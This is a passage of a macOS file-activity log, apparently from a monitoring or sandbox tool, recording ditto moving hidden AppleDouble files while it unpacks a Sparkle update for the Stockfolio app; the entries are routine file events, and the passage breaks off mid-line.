Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/.BC.T_nlQi7K -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/._CodeResources__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/.BC.T_5qaUca -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/.__CodeSignature__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_Mu0WMH -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_xGQCCs -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_F9x8Aq -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_sbS83f -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_QcszbB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._de.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/he.lproj/.BC.T_3hgw4g -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/he.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_jvfCbz -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._he.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_XZC7Fp -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_zk0zG4 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_LVsHbg -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_mdB94h -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_j56FwK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._ar.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_wjFmEn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_NW9HbO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_5YThGK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_5HfgIv -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_CfzC4r -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._el.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_VZpbcf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_f9GrvV -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_CfgObj -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_0KTZjF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_AgX4eN -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._ja.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_U58boj -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_dF8hkd -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_3wWcNs -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_M9XTZk -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_g3cTdK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._en.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_RGlZa5 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._SUModelTranslation.plist__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_4NIFW4 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_jM2RYE -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_E08UF6 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_x1vIQD -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_rytYkR -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._uk.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/.BC.T_TKceHO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/.BC.T_L785ph -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/.BC.T_yzMpPm -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/.BC.T_eemv3c -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_4HLt6K -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._zh_CN.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/.BC.T_wL7URK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/.BC.T_pFSvpb -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/.BC.T_DFEIbV -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/.BC.T_FsOdYt -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_OQLu89 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._nb.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/.BC.T_gJ6uJW -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/.BC.T_g0gE0k -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/.BC.T_0AC3kh -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/.BC.T_BWJR63 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_fr0uYr -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._es.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/.BC.T_jtZSsX -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/.BC.T_BzznyG -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/.BC.T_NyMuCf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/.BC.T_KFKWCI -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/._SUUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_F2i1S7 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._is.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/.BC.T_Xce4wM -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/._Sparkle.strings__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/.BC.T_e8ljBG -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/._SUAutomaticUpdateAlert.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/.BC.T_vCbwI3 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/._SUUpdatePermissionPrompt.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved